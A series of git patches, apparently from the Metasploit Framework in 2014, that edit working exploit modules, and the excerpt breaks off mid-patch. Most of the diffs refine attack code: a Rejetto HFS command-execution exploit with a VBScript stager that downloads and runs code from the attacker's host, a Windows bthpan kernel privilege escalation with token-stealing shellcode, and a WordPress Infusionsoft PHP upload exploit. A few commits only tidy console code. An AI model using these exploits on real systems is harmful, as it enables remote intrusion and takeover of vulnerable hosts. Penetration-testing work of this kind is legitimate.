b/modules/exploits/windows/http/http_file_server_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Reank = NormalRanking + Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer @@ -15,12 +15,12 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "HttpFileServer Remote Command Execution", + 'Name' => "Rejetto HttpFileServer Remote Command Execution", 'Description' => %q{ - HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex - in the file ParserLib.pas. This module exploit the HFS scripting commands by using '%00' - to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows - XP SP3, Windows 7 SP1 and Windows 8. + Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a + poor regex in the file ParserLib.pas. This module exploit the HFS scripting commands by + using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b + over Windows XP SP3, Windows 7 SP1 and Windows 8. }, 'License' => MSF_LICENSE, 'Author' => @@ -59,8 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => '/' }) - if res.headers['Server'] =~ /HFS 2\.3/ - # added proper regex as pointed by wchen + if res && res.headers['Server'] && res.headers['Server'] =~ /HFS 2\.3/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -72,35 +71,38 @@ class Metasploit3 < Msf::Exploit::Remote exe = generate_payload_exe vbs = Msf::Util::EXE.to_exe_vbs(exe) send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'}) - remove_resource(get_resource) # remove resource after serving 1st request as 'exec' execute 4x # during exploitation + remove_resource(get_resource) end def primer file_name = rand_text_alpha(rand(10)+5) file_ext = '.vbs' - file_fullname = file_name + file_ext + file_full_name = file_name + file_ext - vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0aOn Error Resume Next\x0d\x0ax.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0aIf Err.Number <> 0 Then\x0d\x0awsh.exit\x0d\x0aEnd If\x0d\x0ax.Send\x0d\x0aExecute x.responseText" + vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a" + vbs_code << "On Error Resume Next\x0d\x0a" + vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a" + vbs_code << "If Err.Number <> 0 Then\x0d\x0a" + vbs_code << "wsh.exit\x0d\x0a" + vbs_code << "End If\x0d\x0a" + vbs_code << "x.Send\x0d\x0a" + vbs_code << "Execute x.responseText" payloads = [ - "save|#{datastore['SAVE_PATH']}#{file_fullname}|#{vbs_code}", - "exec|wscript.exe //B //NOLOGO #{datastore['SAVE_PATH']}#{file_fullname}", - # using wscript.exe instead of cmd.exe, thank mubix - #"delete|#{datastore['SAVE_PATH']}#{file_fullname}" - # delete vbs file after execution + "save|#{datastore['SAVE_PATH']}#{file_full_name}|#{vbs_code}", + "exec|wscript.exe //B //NOLOGO #{datastore['SAVE_PATH']}#{file_full_name}" ] print_status("Sending a malicious request to #{target_uri.path}") - payloads.each { |payload| + payloads.each do |payload| send_request_raw({ 'method' => 'GET', 'uri' => "/?search=%00{.#{URI::encode(payload)}.}" }) - } - register_file_for_cleanup("#{datastore['SAVE_PATH']}#{file_fullname}") - # use FileDropper method for cleanup + end + register_file_for_cleanup("#{datastore['SAVE_PATH']}#{file_full_name}") end def exploit From 909f88680b03448c99ce90b048f4eda674ab6c06 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 11:08:01 -0500 Subject: [PATCH 050/107] Make exploit aggressive --- modules/exploits/windows/http/http_file_server_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index f1f3454bec..8b27856801 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Automatic', {} ], ], 'Privileged' => false, + 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => "Sep 11 2014", 'DefaultTarget' => 0)) From 25344aeb6ab25c387dbeea5d7bd957f0c982a178 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 11:55:33 -0500 Subject: [PATCH 051/107] Change filename --- .../http/{http_file_server_exec.rb => rejetto_hfs_exec.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/http/{http_file_server_exec.rb => rejetto_hfs_exec.rb} (100%) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/rejetto_hfs_exec.rb similarity index 100% rename from modules/exploits/windows/http/http_file_server_exec.rb rename to modules/exploits/windows/http/rejetto_hfs_exec.rb From d90fe4f724c1309b8cf32cdb89f348021a76b3fc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 12:03:16 -0500 Subject: [PATCH 052/107] Improve check method --- .../exploits/windows/http/rejetto_hfs_exec.rb | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/rejetto_hfs_exec.rb b/modules/exploits/windows/http/rejetto_hfs_exec.rb index 8b27856801..aaedbb7d20 100644 --- a/modules/exploits/windows/http/rejetto_hfs_exec.rb +++ b/modules/exploits/windows/http/rejetto_hfs_exec.rb @@ -60,8 +60,13 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => '/' }) - if res && res.headers['Server'] && res.headers['Server'] =~ /HFS 2\.3/ - return Exploit::CheckCode::Detected + if res && res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/ + version = $1 + if Gem::Version.new(version) <= Gem::Version.new("2.3") + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end else return Exploit::CheckCode::Safe end @@ -98,10 +103,13 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending a malicious request to #{target_uri.path}") payloads.each do |payload| - send_request_raw({ + res = send_request_raw({ 'method' => 'GET', 'uri' => "/?search=%00{.#{URI::encode(payload)}.}" - }) + }) + if res + print_status("#{res.code}\n#{res.body.to_s}") + end end register_file_for_cleanup("#{datastore['SAVE_PATH']}#{file_full_name}") end From 98b69e095c84fdf91956d412aa311067ad022767 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 12:12:00 -0500 Subject: [PATCH 053/107] Use %TEMP% and update ranking --- .../exploits/windows/http/rejetto_hfs_exec.rb | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/http/rejetto_hfs_exec.rb b/modules/exploits/windows/http/rejetto_hfs_exec.rb index aaedbb7d20..4311617bd6 100644 --- a/modules/exploits/windows/http/rejetto_hfs_exec.rb +++ b/modules/exploits/windows/http/rejetto_hfs_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer @@ -49,7 +49,6 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path of the web application', '/']), - OptString.new('SAVE_PATH', [true, 'Target writable path', 'c:\\']), OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]), ], self.class) end @@ -86,6 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote file_name = rand_text_alpha(rand(10)+5) file_ext = '.vbs' file_full_name = file_name + file_ext + vbs_path = "%TEMP%\\#{file_full_name}" vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a" vbs_code << "On Error Resume Next\x0d\x0a" @@ -97,27 +97,24 @@ class Metasploit3 < Msf::Exploit::Remote vbs_code << "Execute x.responseText" payloads = [ - "save|#{datastore['SAVE_PATH']}#{file_full_name}|#{vbs_code}", - "exec|wscript.exe //B //NOLOGO #{datastore['SAVE_PATH']}#{file_full_name}" + "save|#{vbs_path}|#{vbs_code}", + "exec|wscript.exe //B //NOLOGO #{vbs_path}" ] print_status("Sending a malicious request to #{target_uri.path}") payloads.each do |payload| - res = send_request_raw({ + send_request_raw({ 'method' => 'GET', 'uri' => "/?search=%00{.#{URI::encode(payload)}.}" }) - if res - print_status("#{res.code}\n#{res.body.to_s}") - end end - register_file_for_cleanup("#{datastore['SAVE_PATH']}#{file_full_name}") + register_file_for_cleanup(vbs_path) end def exploit begin Timeout.timeout(datastore['HTTPDELAY']) { super } - rescue Timeout::Error + rescue Timeout::Error # When the server stops due to our timeout, this is raised end end From 7dd6a4d0d9b2995bcc4f8ee06a30d79bc5bb0188 Mon Sep 17 00:00:00 2001 From: Jay Smith Date: Wed, 8 Oct 2014 13:25:44 -0400 Subject: [PATCH 054/107] Merge in changes from @todb-r7. --- modules/exploits/windows/local/bthpan.rb | 120 ++++++----------------- 1 file changed, 31 insertions(+), 89 deletions(-) diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index 37740a6ddc..631ca6b483 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -4,11 +4,13 @@ ## require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking + include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Priv @@ -39,8 +41,15 @@ class Metasploit3 < Msf::Exploit::Local }, 'Targets' => [ - [ 'Automatic', {} ], - [ 'Windows XP SP3', {} ] + ['Windows XP SP3', + { + 'HaliQuerySystemInfo' => 0x16bba, + '_KPROCESS' => "\x44", + '_TOKEN' => "\xc8", + '_UPID' => "\x84", + '_APLINKS' => "\x88" + } + ] ], 'References' => [ @@ -52,60 +61,6 @@ class Metasploit3 < Msf::Exploit::Local )) end - def add_railgun_functions - session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - - def open_device(dev) - invalid_handle_value = 0xFFFFFFFF - - r = session.railgun.kernel32.CreateFileA(dev, "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil) - - handle = r['return'] - - if handle == invalid_handle_value - return nil - else - return handle - end - end - - # @return [Array, nil] the address and driver name or nil - # if the driver name of 'krnl' isn't found - def find_sys_base - results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0, results['lpcbNeeded']].unpack("V*") - driver_array = nil - - addresses.each do |address| - results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) - current_drvname = results['lpBaseName'][0, results['return']] - if current_drvname.downcase.include?('krnl') - driver_array = [address, current_drvname] - break - end - end - - return driver_array - end def ring0_shellcode tokenswap = "\x60\x64\xA1\x24\x01\x00\x00" @@ -124,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Local end def fill_memory(proc, address, length, content) - session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") unless proc.memory.writable?(address) vprint_error("Failed to allocate memory") @@ -146,41 +101,28 @@ class Metasploit3 < Msf::Exploit::Local def disclose_addresses(t) addresses = {} - vprint_status("Getting the Kernel module name...") - kernel_info = find_sys_base - unless kernel_info - vprint_error("Failed to disclose the Kernel module name") + hal_dispatch_table = find_haldispatchtable + return nil if hal_dispatch_table.nil? + addresses['halDispatchTable'] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") + + vprint_status('Getting the hal.dll base address...') + hal_info = find_sys_base('hal.dll') + if hal_info.nil? + vprint_error('Failed to disclose hal.dll base address') return nil end - vprint_good("Kernel module found: #{kernel_info[1]}") + hal_base = hal_info[0] + vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}") - vprint_status("Getting a Kernel handle...") - kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) - kernel32_handle = kernel32_handle['return'] - if kernel32_handle == 0 - vprint_error("Failed to get a Kernel handle") - return nil - end - vprint_good("Kernel handle acquired") + hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] + addresses['HaliQuerySystemInfo'] = hali_query_system_information - vprint_status("Disclosing the HalDispatchTable...") - hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") - hal_dispatch_table = hal_dispatch_table['return'] - if hal_dispatch_table == 0 - vprint_error("Failed to disclose the HalDispatchTable") - return nil - end - hal_dispatch_table -= kernel32_handle - hal_dispatch_table += kernel_info[0] - addresses["halDispatchTable"] = hal_dispatch_table - vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") - - return addresses + vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") + addresses end def check - add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end @@ -188,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Local os = sysinfo["OS"] return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i - handle = open_device("\\\\.\\bthpan") + handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') return Exploit::CheckCode::Safe unless handle session.railgun.kernel32.CloseHandle(handle) @@ -205,17 +147,17 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end - handle = open_device("\\\\.\\bthpan") + handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device") end - my_target = targets[1] + my_target = targets[0] print_status("Disclosing the HalDispatchTable address...") @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Filed to disclose necessary address for exploitation. Aborting.") + fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.") else print_good("Address successfully disclosed.") end From c0ef2c793825004bea07b905d972267cc56da8df Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Oct 2014 11:54:59 -0500 Subject: [PATCH 055/107] Support post modules I kinda hate this code. TODO: Get rid of and/or and the extra parens. --- lib/msf/ui/console/command_dispatcher/core.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 219604b95f..2f1463d2b4 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3144,9 +3144,9 @@ class Core if (mod.exploit? and mod.target) mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ') print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0) - elsif (mod.auxiliary? and mod.action) + elsif ((mod.auxiliary? or mod.post?) and mod.action) mod_action = Serializer::ReadableText.dump_auxiliary_action(mod, ' ') - print("\nAuxiliary action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) + print("\n#{mod.auxiliary? ? 'Auxiliary' : 'Post'} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) end # Uncomment this line if u want target like msf2 format From dbc199ad77f25dc8047b073c47988b80ad854b14 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 13:56:59 -0500 Subject: [PATCH 056/107] space after commas --- lib/msf/core/exploit/http/server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 7ff68253de..7a5013cd99 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -891,7 +891,7 @@ protected } end - if [UTF_16_LE,UTF_16_BE,UTF_32_LE,UTF_32_BE,UTF_7,UTF_8].include?(datastore['HTML::unicode']) + if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode']) headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode'] body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) else From b2ba6e7ae17abdfc88397d125c7a82b427396338 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Oct 2014 14:12:03 -0500 Subject: [PATCH 057/107] Make the code more maintainable Despite the code around it. Thanks for the advice, @jlee-r7! --- lib/msf/ui/console/command_dispatcher/core.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 2f1463d2b4..dbaf2e4deb 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3144,9 +3144,9 @@ class Core if (mod.exploit? and mod.target) mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ') print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0) - elsif ((mod.auxiliary? or mod.post?) and mod.action) + elsif mod.kind_of?(Msf::Module::HasActions) mod_action = Serializer::ReadableText.dump_auxiliary_action(mod, ' ') - print("\n#{mod.auxiliary? ? 'Auxiliary' : 'Post'} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) + print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) end # Uncomment this line if u want target like msf2 format From f6a9cfcc525a7dc78a2002fce7b3a8ce6d34f2b1 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Oct 2014 14:30:41 -0500 Subject: [PATCH 058/107] Break away the elsif into a separate if In case exploits support actions for some crazy reason in the future. --- lib/msf/ui/console/command_dispatcher/core.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index dbaf2e4deb..2b25abb04d 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3140,11 +3140,14 @@ class Core end end - # Print the selected target or action + # Print the selected target if (mod.exploit? and mod.target) mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ') print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0) - elsif mod.kind_of?(Msf::Module::HasActions) + end + + # Print the selected action + if mod.kind_of?(Msf::Module::HasActions) mod_action = Serializer::ReadableText.dump_auxiliary_action(mod, ' ') print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) end From 1d766ba95b90b548e867cf9afa0795db74c924fb Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Oct 2014 14:47:12 -0500 Subject: [PATCH 059/107] Rename dump_auxiliary_action{,s} To dump_module_action{,s} to accommodate post modules, etc. --- lib/msf/base/serializer/readable_text.rb | 12 ++++++------ lib/msf/ui/console/command_dispatcher/core.rb | 6 +++--- msfcli | 2 +- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 0f6c6020c9..1a056b4d51 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -84,14 +84,14 @@ class ReadableText tbl.to_s + "\n" end - # Dumps an auxiliary's actions + # Dumps a module's actions # - # @param mod [Msf::Auxiliary] the auxiliary module. + # @param mod [Msf::Module] the module. # @param indent [String] the indentation to use (only the length # matters) # @param h [String] the string to display as the table heading. # @return [String] the string form of the table. - def self.dump_auxiliary_actions(mod, indent = '', h = nil) + def self.dump_module_actions(mod, indent = '', h = nil) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, 'Header' => h, @@ -108,14 +108,14 @@ class ReadableText tbl.to_s + "\n" end - # Dumps the auxiliary's selected action + # Dumps the module's selected action # - # @param mod [Msf::Auxiliary] the auxiliary module. + # @param mod [Msf::Module] the module. # @param indent [String] the indentation to use (only the length # matters) # @param h [String] the string to display as the table heading. # @return [String] the string form of the table. - def self.dump_auxiliary_action(mod, indent = '', h = nil) + def self.dump_module_action(mod, indent = '', h = nil) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, 'Header' => h, diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 2b25abb04d..88c00933ff 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3148,7 +3148,7 @@ class Core # Print the selected action if mod.kind_of?(Msf::Module::HasActions) - mod_action = Serializer::ReadableText.dump_auxiliary_action(mod, ' ') + mod_action = Serializer::ReadableText.dump_module_action(mod, ' ') print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) end @@ -3208,8 +3208,8 @@ class Core end def show_actions(mod) # :nodoc: - mod_actions = Serializer::ReadableText.dump_auxiliary_actions(mod, ' ') - print("\nAuxiliary actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0) + mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ') + print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0) end def show_advanced_options(mod) # :nodoc: diff --git a/msfcli b/msfcli index 8c54e6c77f..b9f1ff8653 100755 --- a/msfcli +++ b/msfcli @@ -428,7 +428,7 @@ class Msfcli def show_actions(m) readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent)) + $stdout.puts("\n" + readable.dump_module_actions(m[:module], @indent)) end From bbf180997a56f91b360b207abe2b0ff5d98bb868 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 16:29:11 -0500 Subject: [PATCH 060/107] Do minor cleanup --- .../unix/webapp/php_wordpress_infusionsoft.rb | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb index 4e4b84d147..4e440ca5a0 100644 --- a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb +++ b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper @@ -36,19 +35,17 @@ class Metasploit3 < Msf::Exploit::Remote 'DisclosureDate' => 'Sep 25 2014', 'DefaultTarget' => 0) ) - register_options( - [ - OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]), - ], self.class) end def check res = send_request_cgi( 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php') ) - if res && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/ + + if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/ return Exploit::CheckCode::Detected end + Exploit::CheckCode::Safe end @@ -65,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res && res.code == 200 + if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/ print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") register_files_for_cleanup(php_pagename) else @@ -76,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote send_request_cgi({ 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', php_pagename) - }) - handler + }, 1) end end From 8ba8402be3543fd42633d734be91d48d87a64503 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 16:32:05 -0500 Subject: [PATCH 061/107] Update timeout --- modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb index 4e440ca5a0..35f4b37a89 100644 --- a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb +++ b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote send_request_cgi({ 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', php_pagename) - }, 1) + }, 2) end end From 66a8e7481b0c8978da0568f0e914ff9ad41e61b3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 16:35:14 -0500 Subject: [PATCH 062/107] Fix description --- modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb index 35f4b37a89..0840ae36f9 100644 --- a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb +++ b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb @@ -15,7 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Wordpress InfusionSoft Upload Vulnerability', 'Description' => %q{ - This module exploits an arbitrary PHP code upload in the Infusionsoft Gravity Forms plugins. The vulnerability allows for arbitrary file upload and remote code execution. Plug-in versions 1.5.3 through 1.5.10 are vulnerable. + This module exploits an arbitrary PHP code upload in the wordpress Infusionsoft Gravity + Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file + upload and remote code execution. }, 'Author' => [ From 328be3cf34147e8c53839e9d3b26a74c4a212f74 Mon Sep 17 00:00:00 2001 From: nstarke Date: Wed, 8 Oct 2014 17:53:21 -0500 Subject: [PATCH 063/107] Fine Tuning Jenkins Login Module At the request of the maintainers, I have deregistered the RHOST option and made the failure proof a verbose only print. --- modules/auxiliary/scanner/http/jenkins_login.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index feff629226..37490e0e99 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -28,6 +28,8 @@ class Metasploit3 < Msf::Auxiliary ], self.class) register_autofilter_ports([ 80, 443, 8080, 8081, 8000 ]) + + deregister_options('RHOST') end def run_host(ip) @@ -66,7 +68,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end From 3ebcaa16a11a0fff251f38e23d47a1db1b244292 Mon Sep 17 00:00:00 2001 From: nullbind Date: Wed, 8 Oct 2014 21:18:56 -0500 Subject: [PATCH 064/107] removed scanner --- modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index 45a008805e..17def0db86 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -9,7 +9,7 @@ require 'msf/core/exploit/mssql_commands' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL - include Msf::Auxiliary::Scanner + #include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, @@ -26,9 +26,9 @@ class Metasploit3 < Msf::Auxiliary )) end - def run_host(ip) + def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{ip} as #{datastore['username']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['username']}...") if mssql_login_datastore == false print_error('Login was unsuccessful. Check your credentials.') disconnect From 168f1e559c7637263cf44f27434d06d595f8adbd Mon Sep 17 00:00:00 2001 From: nullbind Date: Wed, 8 Oct 2014 21:19:50 -0500 Subject: [PATCH 065/107] fixed status --- modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb | 1 - 1 file changed, 1 deletion(-) diff --git 